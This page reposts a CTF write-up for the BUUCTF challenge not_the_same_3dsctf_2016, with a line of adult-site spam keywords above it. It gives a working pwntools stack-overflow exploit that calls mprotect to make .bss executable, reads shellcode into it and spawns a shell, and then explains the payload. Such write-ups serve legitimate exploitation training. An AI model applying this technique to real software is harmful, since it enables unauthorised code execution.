日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

BUUCTF not_the_same_3dsctf_2016

發(fā)布時(shí)間:2023/12/20 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF not_the_same_3dsctf_2016 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

還是靜態(tài)鏈接的,一個(gè)文件,自己玩,所以打開(kāi)IDA找找能用到的函數(shù)就可以了,題目也非常簡(jiǎn)單,棧溢出

from pwn import *context(log_level='debug', arch='i386')proc_name = './not_the_same_3dsctf_2016' p = process(proc_name) elf = ELF(proc_name) bss_start_addr = elf.bss() & ~(elf.bss() % 0x1000) mprotect_addr = elf.sym['mprotect'] read_addr = elf.sym['read'] # 0x080483b8 : pop esi ; pop edi ; pop ebp ; ret pop = 0x080483b8 payload = 'a'.encode() * (0x2d) + p32(mprotect_addr) + p32(pop) + p32(bss_start_addr) + p32(0x100) + p32(0x7) + p32(read_addr) + p32(bss_start_addr) + p32(0) + p32(bss_start_addr) + p32(0x100) p.sendline(payload) payload1 = asm(shellcraft.sh()) p.sendline(payload1) p.interactive()

這里我特別解釋一下這個(gè)payload'a'.encode() * (0x2d) + p32(mprotect_addr) + p32(pop) + p32(bss_start_addr) + p32(0x100) + p32(0x7) + p32(read_addr) + p32(bss_start_addr) + p32(0) + p32(bss_start_addr) + p32(0x100)

  • 首先0x2d是main函數(shù)中棧空間的大小,它的下一個(gè)位置就是ret指令對(duì)應(yīng)的返回地址了
  • p32(mprotect_addr)就是mprotect函數(shù)的地址,接下來(lái)的p32(pop)是為了保持棧平衡而將后面壓入的三個(gè)參數(shù)從棧上彈出,彈出后我們并不使用它,就是為了控制棧的結(jié)構(gòu),p32(pop)的位置也同樣是執(zhí)行完mprotect后的返回地址,pop對(duì)應(yīng)的指令為pop esi ; pop edi ; pop ebp ; ret,最后ret就跳轉(zhuǎn)到p32(read_addr)這里了
  • 同理,p32(read_addr)的下一個(gè)p32(bss_start_addr)也是執(zhí)行完read函數(shù)后跳轉(zhuǎn)的地址,后面是read的三個(gè)參數(shù)

整個(gè)思路就是,利用mprotect函數(shù)修改bss段為0x7即0b111,可讀可寫(xiě)可執(zhí)行權(quán)限,然后利用read函數(shù)讀入shellcode,最后跳轉(zhuǎn)到shellcode的位置,就成功拿到shell了

總結(jié)

以上是生活随笔為你收集整理的BUUCTF not_the_same_3dsctf_2016的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。